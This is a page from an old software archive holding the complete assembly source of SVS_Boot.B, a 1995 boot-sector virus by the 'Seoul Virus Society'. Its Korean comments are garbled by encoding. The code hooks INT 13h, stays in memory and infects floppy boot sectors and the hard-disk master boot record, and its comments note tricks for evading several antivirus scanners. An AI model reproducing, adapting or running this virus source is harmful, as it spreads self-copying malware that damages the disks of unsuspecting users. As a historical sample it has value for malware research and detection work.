home *** CD-ROM | disk | FTP | other *** search
- ;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
- ;
- ; SVS_Boot (Type B)
- ; *****************
- ;
- ; ╖íƒq : SVS_Boot.B
- ; öaƒe ╖íƒq : Assassin_Boot.B
- ; ╣A╕b╕a : ña╖í£ß»a╖ü ïí¼a (KOV : Knight Of Virus)
- ; ïa₧ô : ¼ß╢ë ña╖í£ß»a ╡e╨s (SVS : Seoul Virus Society)
- ; ╣A╕b╗í : ╨eèé (95.8.11)
- ;
- ; ┤σ┤ß : MASM / TASM
- ; ╣╖ƒA : ªü╦a / MBR
- ;
- ; ¼Θíw : KOV êa ╣A╕b╨e ªü╦a ña╖í£ß»a¥í MBR ╡A ╗ó╕≤ ës┴a░ß ñ߃Ñöa.
- ; ╕a┴A ªü╦╖ ïíôw╖i êa╗íëí ╖╢öa.
- ;
- ; ╖⌐ñe ïí┤Γ ╕w¡í ╡w╡b╖i 1 KB ║ë╖Ñöa.
- ;
- ; * SVS_Boot.A : ┬A┴í ñß╕σ╖íöa. 94æe╡A ╣A╕bûA┤÷öaëí ╨eöa.
- ; 360 KB ╢w╖a¥í ╣A╕bûA┤÷öa.
- ; ! SVS_Boot.B : 1.2MB ùí»a╟aòí êq╡q »í╟Ñöa.
- ;
- ;
- ;
- ;
- ;
- ;
- ;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
-
- BOOT SEGMENT PARA 'BOOT'
- ASSUME CS:Boot, DS:Boot
-
- Start: Jmp Virus_Start ; ╕±╧a
- DB 59 dup (?) ; BPB ╡w╡b
-
- ; TASM ╖a¥í ─±╠a╖⌐ ╨iÿü BPB ╡w╡b╖i ╣▒ ñaÄü┤ß ╨iê⌡╖íöa.
- ; MS-DOS 5.0 ╡A áxëA ╣A╕bûA┤÷öa. /C ╡│¡e╖i ║üíe 60 ╖a¥í
- ; ï⌐ëA ╨ü┤í╨eöa.
- Virus_Start:
- cli ; »a╚é ╣í╕Θ
- xor ax,ax ; AX=0000
- mov ds,ax ; DS=0000
- mov ss,ax ; SS=0000
- mov sp,07c00h ; SP=7C00h
- sti
-
- ; SCAN ╖e 413hêa ê±┬ëûAíe ªü╦a ña╖í£ß»a£aëí ╗Ñöe╨eöa.
- ; └qëí¥í ╖í ña╖í£ß»aôe TBAV,F-PROT ╡A¼ß ╗Ñöe┤eûEöa.
-
- CLD
- mov bx,1304h ; Unknown ╡A ê±┬ëûA╗í ┤gïí╢ß╨q
- xchg bh,bl ; BX = 0413h
- dec word ptr ds:[bx] ; 1KB êq¡í(ña╖í£ß»aêa ¼a╢w)
- mov ax,ds:[bx] ; AX╡A ║ë┤ßùe êt
- mov cl,06 ; ¡Aïaáσ╦a ëü¼e
- shl ax,cl
- mov es,ax ; ES=DOS ╡A¼ß ¼a╢w┤e╨aôe ¡Aïaáσ╦a
-
- mov si,07c00h ; ña╖í£ß»aôe 0000:7C00h ╡A ╢ß├í╨eöa.
- xor di,di ; DI=0000
- mov cx, offset Endvirus ; ï⌐╖í
- repz movsb ; Ñó¼a
- nop ; NOP╖i ┤e╨ü║üíe ╡b»í ê±¼éûEöa.
- push es ; ña╖í£ß»aêa ╖╢ôe ë╡╖a¥í ╕±╧a
- mov ax, offset Get_Int13
- push ax
- retf
-
- Get_Int13:
- mov si,004bh ; Int 13h╖ü êt ┤Φïí
- inc si ; CPAV ╖ü Viral Code B X
- mov di,offset OldInt13 ; TBAV ╖ü Unkown ╖i ñw╗í╨a¥aëí
- movsw ; êt╖i ╕ß╕w╨eöa.
- movsw
-
- Push cs ; DSôe CSêt
- Pop ds ;
- xor ax,ax ; ES=0000 ╗b, ╕ü ªü╦╖╨ië╡
- mov es,ax
-
- cmp byte ptr ds:[Sector],00 ; ªü╦╖ ║ù╖Ñ ùí»a╟a ê±¼a
- jnz FloppyBooting ; ╧i¥í╧í╖⌐ ëw╢ü ╨aùa êq╡q
-
- MOV BX,01AEh ; ╨aùa╖ü ëw╢ü ña╖í£ß»a Éüªü êt╖a¥í ªü╦╖
- Next_PAT: add BX,+10h
- cmp byte ptr [BX],80h ; DOS ╢w ªü╦a êt╖Ñêa?
- jnz Next_PAT
- MOV DX,[BX] ; SI¥í ╨aíe CPAV ╡A¼ß ╗ÑöeûEöa.
- MOV CX,[BX+02]
- JMP Read_OrgBoot ; ╕üªü╦╖╨q
-
- FloppyBooting:
- mov dl,80h ; ╧i¥í╧í ëw╢ü ╨aùa êq╡q »í╟▒
- call Infect_BOOT ;
-
- mov cl,byte ptr ds:[Sector]
- mov dx,0100h
- Read_OrgBoot:
- mov bx,07c00h
- mov ah,02 ; ╢Ñ£ü ªü╦a ╖¬┤ßùi╖íïí
- call F_RWBoot2
-
- ReBoot: xor ax,ax ; Int 13hƒi ña╖í£ß»aêa └a╗í╨aëí öa»í ªü╦╖
- mov ds,ax
- mov si,0040h ; 0:4Ch = Int 13h
- mov word ptr ds:[SI+0Ch],offset VirInt13
- mov ds:[SI+0Eh],cs
- DB 0eah,00,7ch,00,00h ; JMP 0000:7c00h
- Sector DB 03h ; 03=360KB
- ; 1.2MB ╖ííe 0Eh ; 0E=1.2MB
-
- ;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
- ; ña╖í£ß»aêa êa¥í└ü¼ß ¼a╢w╨aôe Int 13h
- ;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
-
- VirInt13:
- cmp dl,01 ; C ùa£a╖íºa ╖ííe êq╡q╣A╢A
- ja Jump_Int13
- cmp ah,02 ; ùí»a╟a ╖¬ïí ╖Ñêa?
- jnz Jump_Int13
- call Infect_BOOT ; êq╡q ╤í┬ë
-
- Jump_Int13: DB 0Eah ; ╕±╧a
- OldInt13: DD ?
-
-
- Infect_BOOT:
- Push ax ; ╕ß╕w
- Push bx
- Push cx
- Push dx
- Push si
- Push di
- Push ds
- Push es
-
- Push cs ; CS=DS=ES
- pop ds
- Push cs
- pop es
-
- mov ah,02h ; ªü╦a ¡B╚ß ╖¬ïí
- call F_RWBoot ; ï⌐╖íƒi ║ë╖í¥aëí ═w¡e╤┴
- jc Exit
-
- mov ax,DS:[0123h] ; ña╖í£ß»a êq╡q ╡aªü ê±¼a
- cmp ax,DS:[0323h]
- jz Exit ; êq╡qûA┤÷╖aíe Å{Éüïí
-
-
- GetBPB_ErrMsg:
- cld
- mov si,0203h ; ╢Ñ£ü BPB╖ü Éü╢w╖i Ñó¼a╨eöa.
- mov di,0003h
- mov cl,59
- repz movsb
-
- mov si,offset Endvirus+200h ; ╡A£ßíA»í╗íƒi Ñó¼a╨eöa. öe, ╖íêt╖e ña╖í£ß»a
- mov di,offset Endvirus ; ï⌐╖íêa ï⌐┤ß╗ííe ïa╡A áx┬ü┤ß ñaÄü┤ß ║ü┤ß┤í
- mov cx,512
- sub cx, offset Endvirus ; ╨eöa.
- repz movsb
-
- mov byte ptr ds:[Sector],00 ; 00╖ííe ╨aùa ùí»a╟a╖▒
- cmp dl,80h ; ╨aùa ùí»a╟a╖Ñêa?
- jz Write_BV
-
- mov ah,03
- Mov bx,0200h ; ╢Ñ£ü ªü╦a │aïí
- mov cl,03
- mov dh,01
- cmp byte ptr ds:[215h],0FDh ; 360KB ╢w╖Ñêa?
- jz Write_OrgBoot
- mov cl,0Eh ; 1.2 MB ùí»a╟a╖ü ₧ü╦a Å{
- Write_OrgBoot:
- call F_RWBoot2
- mov byte ptr Sector,cl
-
- Write_BV:
- mov ah,03 ; ªü╦a ¡B╚ß╡A ña╖í£ß»a │aïí
- xor bx,bx
- call F_RWBoot1
- Exit:
- pop es
- pop ds
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- pop ax
- R_InfectDsk: RET
-
- ;<><><><><><><><><><><><><><><><><><><><><><>
- ; ùí»a╟a╖ü ╖¬ïí/│aïí ╤í┬ë ═w¡e
- ;<><><><><><><><><><><><><><><><><><><><><><>
- F_RWBoot: mov bx,0200h ; ñß╠ß ║ü¡í
- F_RWBoot1: mov cx,0001h ; ïíÑÑêt╖e ªü╦a ¡B╚ß
- mov dh,00 ;
- F_RWBoot2: mov al,01 ;
- mov di,0003
- callInt13: pushf
- call dword ptr cs:OldInt13
- jnc Return
- dec di
- jnz callInt13
- stc
- Return: ret
- Virus_name DB 'SVS.B' ; ña╖í£ß»a ╖íƒq
- Endvirus:
-
- Boot ENDS
- END START
-